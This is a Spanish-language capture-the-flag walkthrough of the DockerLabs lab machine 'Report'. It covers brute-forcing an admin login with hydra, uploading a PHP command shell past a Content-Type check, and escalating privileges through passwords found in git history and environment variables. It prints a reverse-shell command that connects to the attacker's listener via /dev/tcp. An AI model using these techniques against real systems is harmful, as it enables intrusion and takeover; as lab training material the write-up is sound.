Report

Hoy haremos la máquina "Report" de DockerLabs.

Autor: TLuisillo_o

Dificultad: Medio

dock

RECONOCIMIENTO

Comenzamos con un escaneo de nmap:

Como vemos tenemos varias cosas, pero lo que nos interesa es la web en el puerto 80.

Cabe recalcar que esta máquina contiene múltiples vulnerabilidades, según tengo entendido esta máquina es para practicar el hacer un reporte real de una vulnerabilidad, acá voy a deja algunas de las que hay:

  1. Cuando se inicia sesión se puede cambiar el "id" en la url para ver a otros usuarios

  2. En las noticias hay un SQLi

  3. En contacto un XSS y HTMLI

  4. En "Acerca de" hay un LFI

Como vemos son varias, pero no se si todas permiten una intrusión, yo en este caso solo voy a mostrar una.

Ahora que sabemos que hay una web, usaremos gobuster para ver que encontramos:

Al parecer tenemos un admin.php, el cual si vamos desde el navegador veremos lo siguiente:

admin

Como vemos tenemos un panel de inicio de sesión, sabiendo esto podríamos intentar usar hydra para hacer fuerza bruta y ver si obtenemos la contraseña:

hydra

como vemos, hemos obtenido la contraseña, "admin:admin123" (para obtenerla hay que esperar bastante ya que se encuentra en la línea 90006).

INTRUSIÓN

Ahora estando dentro de "cargas.php", veremos lo siguiente:

cargas

Al parecer nos permite subir archivos, los cuales si subimos estarán en "/uploads/", el problema de esto es que si intentamos subir un archivo php, nos dirá que no está permitido ese tipo de archivos, también si intentamos hacer un bypass de la extensión nos dirá lo mismo, por lo que mejor abrimos el burpsuite y vemos que hace por detrás. Una vez interceptada la petición, presionaremos "ctrl+r" al mismo tiempo, esto nos mandará la petición al repeater y estaremos más cómodos:

repeater1

En este caso, puede que la web no se fije en la extensión sino en el "Content-type", por lo que podríamos cambiarlo por "image/jpeg", quedará así:

repeater2

Una vez cambiado solo le damos a "send", y en la respuesta veremos esto:

repeater3

Ahora que ya se subió, tendremos que hacer una u otra cosa dependiendo de nuestra shell, en mi caso es esta:

y con esta debemos hacer lo siguiente:

  1. Primero preparamos el netcat escuchando por el puerto 443: nc -lvnp 443

  2. Ahora vamos a la url donde se encuentra el archivo, en este caso sería: http://realgob.dl/uploads/cmd.php

  3. Luego en la url agregamos lo siguiente: ?cmd=. Esto nos permitirá ejecutar comandos, por lo que para enviarnos una shell debemos poner lo siguiente: bash -c 'bash -i >%26 /dev/tcp/172.17.0.1/443 0>%261'

Una vez enviado estaremos dentro de la máquina.

ESCALADA DE PRIVILEGIOS

www-data

Siendo el usuario www-data haremos el tratamiento de la tty. ¿Como hacerlo?

Ahora, luego de buscar veremos que en "/var/www/html/desarrollo/" hay una carpeta ".git", esto significa que tendríamos un "repositorio" ahí, y como no hay nada interesante, podríamos ver los logs u archivos borrados para ver si obtenemos algo. Para hacerlo haremos lo siguiente:

Primero ejecutamos git log:

Al parecer tenemos varios, pero el que nos interesa es el siguiente:

este nos interesa porque el autor es el usuario "adm", que si nos fijamos se encuentra en el sistema.

Ahora ejecutaremos git show 0baffeec1777f9dfe201c447dcbc37f10ce1dafa para ver que tenía ese "commit":

Como vemos, ya tenemos una pass para el usuario "adm": adm:9fR8pLtXXXXXXXXXXXXXXXXXXXXXXX

Adm

Luego de revisar algunas cosas, pruebo ver las variables de entorno con export -p y se vé la siguiente:

Si le pasamos esto a CyberChef nos dirá lo siguiente:

rootPass

al parecer, la contraseña de root es "dockerlabs4u", por lo que escalamos ejecutando su root y poniendo su contraseña.

Root

root

Gracias por leer......

Última actualización